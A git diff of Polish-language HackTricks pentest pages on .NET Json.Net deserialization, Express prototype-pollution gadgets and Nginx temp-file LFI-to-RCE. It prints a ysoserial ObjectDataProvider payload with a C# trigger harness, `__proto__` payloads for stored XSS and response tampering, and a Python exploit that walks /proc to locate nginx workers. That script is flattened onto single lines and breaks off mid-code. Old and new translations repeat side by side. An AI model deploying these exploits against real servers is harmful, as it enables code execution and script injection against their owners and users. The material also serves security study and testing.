Korzystając z poprzedniego exploit, będą przypadki, w których **obiekt** będzie **deserializowany jako** instancja _**ObjectDataProvider**_ (na przykład w przypadku podatności DotNetNuke, używając XmlSerializer, obiekt został deserializowany przy użyciu `GetType`). Wtedy nie będziemy mieli **wiedzy o typie obiektu, który jest opakowany** w instancji _ObjectDataProvider_ (na przykład `Process`). Możesz znaleźć więcej [informacji o podatności DotNetNuke tutaj](https://translate.google.com/translate?hl=en\&sl=auto\&tl=en\&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F\&sandbox=1).
|
||||
|
||||
Ta klasa pozwala **określić typy obiektów, które są enkapsulowane** w danej instancji. Dlatego ta klasa może być używana do enkapsulacji obiektu źródłowego (_ObjectDataProvider_) w nowy typ obiektu i dostarczenia potrzebnych właściwości (_ObjectDataProvider.MethodName_ i _ObjectDataProvider.MethodParameters_).\
|
||||
Jest to bardzo przydatne w przypadkach podobnych do przedstawionego wcześniej, ponieważ będziemy mogli **opakować _ObjectDataProvider_** w instancję **_ExpandedWrapper_** i **podczas deserializacji** ta klasa **utworzy** obiekt _**OjectDataProvider**_, który **wykona** **funkcję** wskazaną w _**MethodName**_.
|
||||
Ta klasa pozwala **określić typy obiektów obiektów, które są enkapsulowane** w danej instancji. Tak więc, ta klasa może być używana do enkapsulowania obiektu źródłowego (_ObjectDataProvider_) w nowy typ obiektu i dostarczenia potrzebnych właściwości (_ObjectDataProvider.MethodName_ i _ObjectDataProvider.MethodParameters_).\
|
||||
Jest to bardzo przydatne w przypadkach takich jak ten przedstawiony wcześniej, ponieważ będziemy mogli **opakować \_ObjectDataProvider**_\*\* wewnątrz instancji \*\*_**ExpandedWrapper** \_ i **po deserializacji** ta klasa **utworzy** obiekt _**OjectDataProvider**_, który **wykona** **funkcję** wskazaną w _**MethodName**_.
|
||||
|
||||
Możesz sprawdzić ten wrapper za pomocą następującego kodu:
|
||||
```java
|
||||
|
@ -95,11 +98,11 @@ myExpWrap.ProjectedProperty0.MethodName = "Start";
|
|||
```
|
||||
## Json.Net
|
||||
|
||||
Na [oficjalnej stronie internetowej](https://www.newtonsoft.com/json) wskazano, że ta biblioteka pozwala na **Serializowanie i deserializowanie dowolnego obiektu .NET za pomocą potężnego serializatora JSON Json.NET**. Dlatego, jeśli moglibyśmy **deserializować gadżet ObjectDataProvider**, moglibyśmy spowodować **RCE** po prostu deserializując obiekt.
|
||||
Na [oficjalnej stronie](https://www.newtonsoft.com/json) wskazano, że ta biblioteka pozwala na **serializację i deserializację dowolnego obiektu .NET za pomocą potężnego serializatora JSON Json.NET**. Więc, jeśli moglibyśmy **zdeserializować gadżet ObjectDataProvider**, moglibyśmy spowodować **RCE** po prostu deserializując obiekt.
|
||||
|
||||
### Przykład Json.Net
|
||||
|
||||
Po pierwsze zobaczmy przykład, jak **serializować/deserializować** obiekt za pomocą tej biblioteki:
|
||||
Przede wszystkim zobaczmy przykład, jak **serializować/zdeserializować** obiekt za pomocą tej biblioteki:
|
||||
```java
|
||||
using System;
|
||||
using Newtonsoft.Json;
|
||||
|
@ -142,9 +145,9 @@ Console.WriteLine(desaccount.Email);
|
|||
}
|
||||
}
|
||||
```
|
||||
### Nadużywanie Json.Net
|
||||
### Wykorzystywanie Json.Net
|
||||
|
||||
Korzystając z [ysoserial.net](https://github.com/pwntester/ysoserial.net) stworzyłem exploit:
|
||||
Używając [ysoserial.net](https://github.com/pwntester/ysoserial.net) stworzyłem exploit:
|
||||
```java
|
||||
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
|
||||
{
|
||||
|
@ -157,7 +160,7 @@ ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
|
|||
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
|
||||
}
|
||||
```
|
||||
W tym kodzie możesz **przetestować exploit**, po prostu go uruchom i zobaczysz, że kalkulator zostanie uruchomiony:
|
||||
W tym kodzie możesz **przetestować exploit**, po prostu go uruchom, a zobaczysz, że kalkulator zostanie uruchomiony:
|
||||
```java
|
||||
using System;
|
||||
using System.Text;
|
||||
|
@ -194,14 +197,17 @@ TypeNameHandling = TypeNameHandling.Auto
|
|||
}
|
||||
}
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,40 +1,41 @@
|
|||
# Gadżety do zanieczyszczania prototypów Express
|
||||
# Gadżety do Zanieczyszczenia Prototypu w Express
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Dziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to wyszukiwarka zasilana przez **dark web**, która oferuje **darmowe** funkcje do sprawdzania, czy firma lub jej klienci zostali **skompromitowani** przez **złośliwe oprogramowanie kradnące dane**.
|
||||
[**WhiteIntel**](https://whiteintel.io) to **silnik wyszukiwania** zasilany **ciemną siecią**, który oferuje **darmowe** funkcjonalności do sprawdzenia, czy firma lub jej klienci zostali **skompromentowani** przez **złośliwe oprogramowanie kradnące**.
|
||||
|
||||
Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
|
||||
Ich głównym celem jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
|
||||
|
||||
Możesz odwiedzić ich stronę internetową i wypróbować ich silnik za **darmo** pod adresem:
|
||||
Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za **darmo** pod adresem:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Serwowanie odpowiedzi XSS
|
||||
## Serwuj odpowiedzi XSS
|
||||
|
||||
**Aby uzyskać więcej informacji** [**zapoznaj się z oryginalnym badaniem**](https://portswigger.net/research/server-side-prototype-pollution)
|
||||
**Aby uzyskać więcej szczegółów** [**zobacz oryginalne badania**](https://portswigger.net/research/server-side-prototype-pollution)
|
||||
|
||||
### Zmień typ zawartości JSON na HTML
|
||||
|
||||
W aplikacji Express używającej **odpowiedzi z typem zawartości JSON** i odzwierciedlającą JSON:
|
||||
W aplikacji Express używającej **odpowiedzi typu JSON** i odzwierciedlającej JSON:
|
||||
```javascript
|
||||
app.use(bodyParser.json({type: 'application/json'}));
|
||||
app.post('/', function(req, res){
|
||||
|
@ -42,15 +43,15 @@ _.merge({}, req.body);
|
|||
res.send(req.body);
|
||||
});
|
||||
```
|
||||
W tych przypadkach XSS zwykle nie jest możliwe przy użyciu typu zawartości JSON. Jednakże, dzięki zanieczyszczeniu prototypu możemy **wprowadzić w błąd Express, aby zwrócił odpowiedź w formacie HTML.** Ta podatność polega na tym, że aplikacja używa **`res.send(obj)`** i korzysta z analizatora treści z typem zawartości application/json.
|
||||
W tych przypadkach XSS zazwyczaj nie jest możliwe z typem zawartości JSON. Jednak dzięki zanieczyszczeniu prototypu możemy **zmylić Express, aby zwrócił odpowiedź HTML.** Ta podatność polega na tym, że aplikacja używa **`res.send(obj)`** i korzysta z parsera ciała z typem zawartości application/json.
|
||||
```json
|
||||
{"__proto__":{"_body":true,"body":"<script>evil()"}}
|
||||
```
|
||||
Poprzez **zanieczyszczanie** właściwości **`body`** i **`_body`**, można spowodować, że **Express będzie serwował zawartość typu HTML** i odzwierciedlał właściwość `_body`, co skutkuje przechowywaniem XSS.
|
||||
Poprzez **zanieczyszczenie** właściwości **`body`** i **`_body`**, możliwe jest spowodowanie, że **Express będzie serwować typ zawartości HTML** i odzwierciedli właściwość `_body`, co skutkuje przechowywanym XSS.
|
||||
|
||||
### Renderowanie UTF7
|
||||
### Render UTF7
|
||||
|
||||
Możliwe jest sprawienie, aby express **renderował zawartość UTF-7 za pomocą**:
|
||||
Możliwe jest, aby express **renderował zawartość UTF-7 za pomocą**:
|
||||
```json
|
||||
{"__proto__":{"content-type": "application/json; charset=utf-7"}}
|
||||
```
|
||||
|
@ -58,25 +59,25 @@ Możliwe jest sprawienie, aby express **renderował zawartość UTF-7 za pomocą
|
|||
|
||||
### Przestrzenie JSON
|
||||
|
||||
Następujący PP spowoduje, że atrybuty wewnątrz obiektu JSON będą miały dodatkową spację, która nie zepsuje funkcjonalności:
|
||||
Poniższe PP spowoduje, że atrybuty wewnątrz JSON będą miały dodatkową przestrzeń, co nie wpłynie na funkcjonalność:
|
||||
```json
|
||||
{"__proto__":{"json spaces": " "}}
|
||||
```
|
||||
Następnie odbite JSON będzie wyglądać tak:
|
||||
Wtedy odzwierciedlony JSON będzie wyglądać następująco:
|
||||
```json
|
||||
{"foo": "bar"} -- Note the extra space
|
||||
```
|
||||
### Ujawnione Nagłówki
|
||||
### Exposed Headers
|
||||
|
||||
Następny gadżet PP sprawi, że serwer wyśle z powrotem nagłówek HTTP: **`Access-Control-Expose_headers: foo`**
|
||||
Następujący gadżet PP spowoduje, że serwer wyśle z powrotem nagłówek HTTP: **`Access-Control-Expose_headers: foo`**
|
||||
```json
|
||||
{"__proto__":{"exposedHeaders":["foo"]}}
|
||||
```
|
||||
Wymaga zainstalowania modułu **CORS**
|
||||
Wymaga zainstalowania **modułu CORS**
|
||||
|
||||
### **Metoda OPTIONS**
|
||||
|
||||
Z następującym ładunkiem, jest możliwe **ukrycie metody w odpowiedzi OPTIONS**:
|
||||
Za pomocą poniższego ładunku możliwe jest **ukrycie metody w odpowiedzi OPTIONS**:
|
||||
```javascript
|
||||
// Original reponse: POST,GET,HEAD
|
||||
|
||||
|
@ -87,40 +88,40 @@ Z następującym ładunkiem, jest możliwe **ukrycie metody w odpowiedzi OPTIONS
|
|||
```
|
||||
### **Status**
|
||||
|
||||
Możliwe jest zmiana **zwróconego kodu stanu** za pomocą następującego ładunku PP:
|
||||
Możliwe jest zmienienie **zwracanego kodu statusu** za pomocą następującego ładunku PP:
|
||||
```json
|
||||
{"__proto__":{"status":510}}
|
||||
```
|
||||
### Błąd
|
||||
|
||||
Gdy przypiszesz prototypowi wartość pierwotną, taką jak ciąg znaków, powstaje **operacja no-op, ponieważ prototyp musi być obiektem**. Jeśli spróbujesz przypisać obiekt prototypu do samego `Object.prototype`, to spowoduje to **wygenerowanie wyjątku**. Możemy wykorzystać te dwa zachowania do **wykrycia, czy zanieczyszczenie prototypu zakończyło się sukcesem**:
|
||||
Kiedy przypisujesz do prototypu z prymitywem, takim jak ciąg, produkuje to **operację no-op, ponieważ prototyp musi być obiektem**. Jeśli spróbujesz przypisać obiekt prototypu do samego `Object.prototype`, to **wyrzuci wyjątek**. Możemy użyć tych dwóch zachowań do **wykrycia, czy zanieczyszczenie prototypu było udane**:
|
||||
```javascript
|
||||
({}).__proto__.__proto__={}//throws type exception
|
||||
({}).__proto__.__proto__="x"//no-op does not throw exception
|
||||
```
|
||||
### Odbita Wartość
|
||||
### Reflected Value
|
||||
|
||||
Gdy aplikacja zawiera obiekt w odpowiedzi, stworzenie atrybutu z **niezwykłą nazwą obok `__proto__`** może być pouczające. W szczególności, jeśli w odpowiedzi zwracany jest **tylko niezwykły atrybut**, może to wskazywać na podatność aplikacji:
|
||||
Kiedy aplikacja zawiera obiekt w swojej odpowiedzi, stworzenie atrybutu o **nietypowej nazwie obok `__proto__`** może być pouczające. W szczególności, jeśli **tylko nietypowy atrybut jest zwracany** w odpowiedzi, może to wskazywać na podatność aplikacji:
|
||||
```json
|
||||
{"unusualName":"value","__proto__":"test"}
|
||||
```
|
||||
Ponadto, w scenariuszach, w których używana jest biblioteka tak jak Lodash, ustawienie właściwości zarówno poprzez zanieczyszczenie prototypu (PP), jak i bezpośrednio wewnątrz obiektu oferuje kolejne podejście diagnostyczne. Jeśli taka właściwość zostanie pominięta z odpowiedzi, sugeruje to, że Lodash sprawdza istnienie właściwości w docelowym obiekcie przed scaleniem:
|
||||
Ponadto, w scenariuszach, w których używana jest biblioteka taka jak Lodash, ustawienie właściwości zarówno za pomocą zanieczyszczenia prototypu (PP), jak i bezpośrednio w obiekcie, oferuje inne podejście diagnostyczne. Jeśli taka właściwość jest pomijana w odpowiedzi, sugeruje to, że Lodash weryfikuje istnienie właściwości w docelowym obiekcie przed scaleniem:
|
||||
```javascript
|
||||
{"__proto__":{"a":"value1"},"a":"value2","b":"value3"}
|
||||
// If 'b' is the only property reflected, this indicates prototype pollution in Lodash
|
||||
```
|
||||
## Różne
|
||||
## Misc
|
||||
|
||||
### Zezwól na kropki
|
||||
### Allow Dots
|
||||
|
||||
Istnieje opcja w Express, która pozwala **tworzyć obiekty z parametrów ciągu zapytania**.\
|
||||
Zdecydowanie można jej użyć w łańcuchu błędów do wykorzystania podatności na **zanieczyszczenie prototypu**.
|
||||
Istnieje opcja w Express, która pozwala na **tworzenie obiektów z parametrów ciągu zapytania**.\
|
||||
Możesz to zdecydowanie wykorzystać w łańcuchu **błędów**, aby wykorzystać **vulnerabilność zanieczyszczenia prototypu**.
|
||||
```json
|
||||
{"__proto__":{"allowDots":true}}
|
||||
```
|
||||
**`?foo.bar=baz` tworzy obiekt w Node.**
|
||||
|
||||
## Odnośniki
|
||||
## Referencje
|
||||
|
||||
* [https://portswigger.net/research/server-side-prototype-pollution](https://portswigger.net/research/server-side-prototype-pollution)
|
||||
|
||||
|
@ -128,24 +129,25 @@ Zdecydowanie można jej użyć w łańcuchu błędów do wykorzystania podatnoś
|
|||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to wyszukiwarka zasilana **dark-webem**, która oferuje **darmowe** funkcjonalności do sprawdzenia, czy firma lub jej klienci zostali **skompromitowani** przez **złośliwe oprogramowanie kradnące informacje**.
|
||||
[**WhiteIntel**](https://whiteintel.io) to **wyszukiwarka** zasilana **dark-web**, która oferuje **darmowe** funkcjonalności do sprawdzenia, czy firma lub jej klienci zostali **skompromentowani** przez **złośliwe oprogramowanie kradnące**.
|
||||
|
||||
Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
|
||||
Głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
|
||||
|
||||
Możesz odwiedzić ich stronę internetową i wypróbować ich silnik za **darmo** pod adresem:
|
||||
Możesz sprawdzić ich stronę i wypróbować ich silnik za **darmo** pod adresem:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,34 +1,35 @@
|
|||
# LFI2RCE poprzez pliki tymczasowe Nginx
|
||||
# LFI2RCE za pomocą plików tymczasowych Nginx
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to silnik wyszukiwania zasilany **dark webem**, który oferuje **darmowe** funkcje sprawdzania, czy firma lub jej klienci zostali **skompromitowani** przez **złośliwe oprogramowanie kradnące informacje**.
|
||||
[**WhiteIntel**](https://whiteintel.io) to **silnik wyszukiwania** zasilany **dark-webem**, który oferuje **darmowe** funkcjonalności do sprawdzenia, czy firma lub jej klienci zostali **skompromentowani** przez **złośliwe oprogramowanie kradnące**.
|
||||
|
||||
Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
|
||||
Głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
|
||||
|
||||
Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za **darmo** pod adresem:
|
||||
Możesz sprawdzić ich stronę i wypróbować ich silnik za **darmo** pod adresem:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Konfiguracja podatności
|
||||
## Wrażliwa konfiguracja
|
||||
|
||||
[**Przykład z https://bierbaumer.net/security/php-lfi-with-nginx-assistance/**](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
|
||||
|
||||
|
@ -36,26 +37,72 @@ Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za **darmo
|
|||
|
||||
\`\`\`\`h\`
|
||||
|
||||
/dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon\_inode:\[eventfd] lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:\[27587] lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:\[27589] lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:\[44926] lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:\[44927] lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted) ... \`\`\` Uwaga: W tym przykładzie nie można bezpośrednio dołączyć \`/proc/34/fd/15\`, ponieważ funkcja \`include\` PHP rozwiąże ścieżkę do \`/var/lib/nginx/body/0000001368 (deleted)\`, która nie istnieje w systemie plików. To niewielkie ograniczenie można jednak na szczęście obejść za pomocą pewnej pośredniości, na przykład: \`/proc/self/fd/34/../../../34/fd/15\`, co w końcu spowoduje wykonanie zawartości usuniętego pliku \`/var/lib/nginx/body/0000001368\`. ## Pełne wykorzystanie \`\`\`python #!/usr/bin/env python3 import sys, threading, requests # exploit PHP local file inclusion (LFI) via nginx's client body buffering assistance # see https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ for details URL = f'http://{sys.argv\[1]}:{sys.argv\[2]}/' # find nginx worker processes r = requests.get(URL, params={ 'file': '/proc/cpuinfo' }) cpus = r.text.count('processor') r = requests.get(URL, params={ 'file': '/proc/sys/kernel/pid\_max' }) pid\_max = int(r.text) print(f'\[\*] cpus: {cpus}; pid\_max: {pid\_max}') nginx\_workers = \[] for pid in range(pid\_max): r = requests.get(URL, params={ 'file': f'/proc/{pid}/cmdline' }) if b'nginx: worker process' in r.content: print(f'\[\*] nginx worker found: {pid}') nginx\_workers.append(pid) if len(nginx\_workers) >= cpus: break done = False # upload a big client body to force nginx to create a /var/lib/nginx/body/$X def uploader(): print('\[+] starting uploader') while not done: requests.get(URL, data=' //'
|
||||
/dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon\_inode:\[eventfd] lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:\[27587] lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:\[27589] lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:\[44926] lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:\[44927] lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (usunięty) ... \`\`\` Uwaga: Nie można bezpośrednio dołączyć \`/proc/34/fd/15\` w tym przykładzie, ponieważ funkcja \`include\` PHP rozwiązałaby ścieżkę do \`/var/lib/nginx/body/0000001368 (usunięty)\`, która nie istnieje w systemie plików. Ta drobna restrykcja może być na szczęście obejrzana przez pewną indykcję, jak: \`/proc/self/fd/34/../../../34/fd/15\`, co ostatecznie wykona zawartość usuniętego pliku \`/var/lib/nginx/body/0000001368\`. ## Pełny exploit \`\`\`python #!/usr/bin/env python3 import sys, threading, requests # exploit PHP local file inclusion (LFI) za pomocą pomocy buforowania ciała klienta nginx # zobacz https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ po szczegóły URL = f'http://{sys.argv\[1]}:{sys.argv\[2]}/' # znajdź procesy robocze nginx r = requests.get(URL, params={ 'file': '/proc/cpuinfo' }) cpus = r.text.count('processor') r = requests.get(URL, params={ 'file': '/proc/sys/kernel/pid\_max' }) pid\_max = int(r.text) print(f'\[\*] cpus: {cpus}; pid\_max: {pid\_max}') nginx\_workers = \[] for pid in range(pid\_max): r = requests.get(URL, params={ 'file': 